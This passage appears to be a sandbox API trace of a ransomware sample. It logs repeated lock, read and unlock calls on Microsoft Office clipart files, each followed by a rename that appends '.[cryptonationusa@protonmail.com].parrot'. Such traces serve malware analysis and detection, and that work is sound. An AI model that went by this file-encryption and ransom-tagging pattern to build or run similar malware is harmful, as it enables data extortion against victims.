dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x10dc0, nNumberOfBytesToLockHigh=0x0) returned 1 [0131.056] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0131.057] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0131.058] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.058] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x10ca8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x10ca8, lpOverlapped=0x0) returned 1 [0131.061] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.062] UnlockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x10dc0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0131.062] CloseHandle (hObject=0x1b0) returned 1 [0131.062] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00426_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00426_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0131.066] LockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1d22, nNumberOfBytesToLockHigh=0x0) returned 1 [0131.066] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0131.066] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0131.068] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.068] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1c0a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1c0a, lpOverlapped=0x0) returned 1 [0131.069] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.069] UnlockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1d22, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0131.069] CloseHandle (hObject=0x1b0) returned 1 [0131.069] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\htech_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\htech_01.mid.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0131.075] LockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x59e, nNumberOfBytesToLockHigh=0x0) returned 1 [0131.075] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0131.075] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0131.076] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.076] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x486, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x486, lpOverlapped=0x0) returned 1 [0131.076] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.077] UnlockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x59e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0131.077] CloseHandle (hObject=0x1b0) returned 1 [0131.077] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00046_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00046_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0131.080] LockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x430, nNumberOfBytesToLockHigh=0x0) returned 1 [0131.080] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0131.080] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0131.082] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.082] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x318, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x318, lpOverlapped=0x0) returned 1 [0131.082] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.083] UnlockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x430, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0131.083] CloseHandle (hObject=0x1b0) returned 1 [0131.083] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00118_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00118_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0131.086] LockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x54a, nNumberOfBytesToLockHigh=0x0) returned 1 [0131.086] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0131.086] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0131.087] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.087] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x432, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x432, lpOverlapped=0x0) returned 1 [0131.087] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.088] UnlockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x54a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0131.088] CloseHandle (hObject=0x1b0) returned 1 [0131.088] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00177_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00177_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0131.091] LockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x850, nNumberOfBytesToLockHigh=0x0) returned 1 [0131.091] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0131.091] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0131.093] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.093] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x738, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x738, lpOverlapped=0x0) returned 1 [0131.093] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.093] UnlockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x850, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0131.093] CloseHandle (hObject=0x1b0) returned 1 [0131.093] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00204_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00204_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0131.096] LockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2cce, nNumberOfBytesToLockHigh=0x0) returned 1 [0131.097] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0131.097] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0131.100] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.100] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2bb6, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2bb6, lpOverlapped=0x0) returned 1 [0131.101] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.102] UnlockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2cce, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0131.102] CloseHandle (hObject=0x1b0) returned 1 [0131.102] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00233_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00233_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0131.106] LockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x87c, nNumberOfBytesToLockHigh=0x0) returned 1 [0131.106] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0131.106] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0131.108] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.108] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x764, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x764, lpOverlapped=0x0) returned 1 [0131.108] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.108] UnlockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x87c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0131.108] CloseHandle (hObject=0x1b0) returned 1 [0131.109] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00343_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00343_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0131.111] LockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3d0, nNumberOfBytesToLockHigh=0x0) returned 1 [0131.111] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0131.111] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0131.112] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.112] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2b8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2b8, lpOverlapped=0x0) returned 1 [0131.113] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.113] UnlockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3d0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0131.113] CloseHandle (hObject=0x1b0) returned 1 [0131.113] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00346_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00346_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0131.116] LockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8a0, nNumberOfBytesToLockHigh=0x0) returned 1 [0131.116] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0131.116] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0131.117] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.117] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x788, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x788, lpOverlapped=0x0) returned 1 [0131.117] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.118] UnlockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8a0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0131.118] CloseHandle (hObject=0x1b0) returned 1 [0131.118] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00351_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00351_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0131.121] LockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x24ec, nNumberOfBytesToLockHigh=0x0) returned 1 [0131.121] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0131.121] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0131.122] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.123] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x23d4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x23d4, lpOverlapped=0x0) returned 1 [0131.123] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.124] UnlockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x24ec, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0131.124] CloseHandle (hObject=0x1b0) returned 1 [0131.124] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00557_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00557_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0131.127] LockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x32e4, nNumberOfBytesToLockHigh=0x0) returned 1 [0131.127] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0131.127] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0131.128] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.129] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x31cc, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x31cc, lpOverlapped=0x0) returned 1 [0131.129] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.130] UnlockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x32e4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0131.130] CloseHandle (hObject=0x1b0) returned 1 [0131.130] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00915_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00915_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0131.133] LockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1c20, nNumberOfBytesToLockHigh=0x0) returned 1 [0131.133] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0131.133] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0131.134] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.134] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1b08, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1b08, lpOverlapped=0x0) returned 1 [0131.135] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.135] UnlockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1c20, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0131.135] CloseHandle (hObject=0x1b0) returned 1 [0131.135] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00919_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00919_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0131.138] LockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x600, nNumberOfBytesToLockHigh=0x0) returned 1 [0131.138] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0131.138] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0131.140] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.140] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4e8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4e8, lpOverlapped=0x0) returned 1 [0131.140] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.142] UnlockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x600, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0131.142] CloseHandle (hObject=0x1b0) returned 1 [0131.142] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00956_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00956_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0131.145] LockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xc98, nNumberOfBytesToLockHigh=0x0) returned 1 [0131.145] SetFilePointerEx (in: 